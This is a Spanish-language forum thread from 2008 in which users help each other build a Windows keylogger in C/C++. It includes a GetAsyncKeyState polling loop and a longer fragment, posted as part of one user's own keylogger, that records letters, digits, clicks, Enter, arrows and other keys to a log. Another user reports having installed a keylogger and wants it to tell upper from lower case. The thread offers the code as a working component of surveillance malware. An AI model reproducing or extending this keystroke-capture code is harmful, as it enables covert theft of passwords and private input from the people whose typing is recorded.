ayuda con keylog.. porfavor..

Iniciado por Proxy Lainux, 24 Febrero 2008, 23:05 PM

0 Miembros y 1 Visitante están viendo este tema.

juas juas juas

Bueno creo que ya te entiendo (que ya era hora, eh) y mas o menos lo que tu quieres es algo como esto


#include <stdio.h>
#include <windows.h>

int main()
{
    int lain,i=0;

    do
    {
        while(GetAsyncKeyState(VK_SHIFT))
        {
            lain=GetAsyncKeyState(65);
            if(lain!=0)
                printf("Estas pulsando Shift-a\n");
        }
    }while(1);
    return 0;
}


Por cierto, si lo que estas haciendo es un keylogger igual deberias de pensar en otra cosa y no en un while ejecutandose hasta el fin de los tiempos ya que te cargara mogollon la cpu. Busca algo de informacion sobre "semaforos en c", yo que en linux es posible pero en windows no lo se. Con esto el programa se mantendra a la espera y no cargaras tanto la cpu.

saiya

hola necesito irgente que me digan por q instale keylogger pero  cuando escriben no diferencia entre mayusculas y minusculas , nos epeude o como lo hago para que las detecte

daryo

talves esta parte de mi keylogger te ayude

Código (c++) [Seleccionar]
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) == -32767 )
{
log << ( char ) x;
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) == -32767 )
{
log << ( char ) x;
}
}
if ( GetAsyncKeyState ( ' ' ) == -32767)
{
log << " ";
}
if ( GetAsyncKeyState (1) == -32767)
{ //CLICK izquierdo
log << "[click-izq]";
}
if ( GetAsyncKeyState(2) == -32767 )
{ //click derecho
log << "[click-der]";
}
if ( GetAsyncKeyState (8) == -32767 )
{ // nada que decir
log << "[backspace]";
}
if ( GetAsyncKeyState (190) == -32767 )
{ // nada que decir
log << ".";
}
if ( GetAsyncKeyState (188) == -32767 )
{ // nada que decir
log << ",";
}
if ( GetAsyncKeyState (13) == -32767 )
{ // nada que decir
log << "[enter]";
}
//capturar flechas
if(GetAsyncKeyState(37) == -32767)
{ // nada que decir
log << "[left]";
}
if(GetAsyncKeyState(38) == -32767 )
{ // nada que decir
log << "[up]";
}
if(GetAsyncKeyState(39) == -32767 )
{ // nada que decir
log << "[right]";
}
if(GetAsyncKeyState(40) == -32767)
{ // nada que decir
log << "[down]";
}

if(GetAsyncKeyState(9) == -32767)
{
log << "[tab]";
}
buenas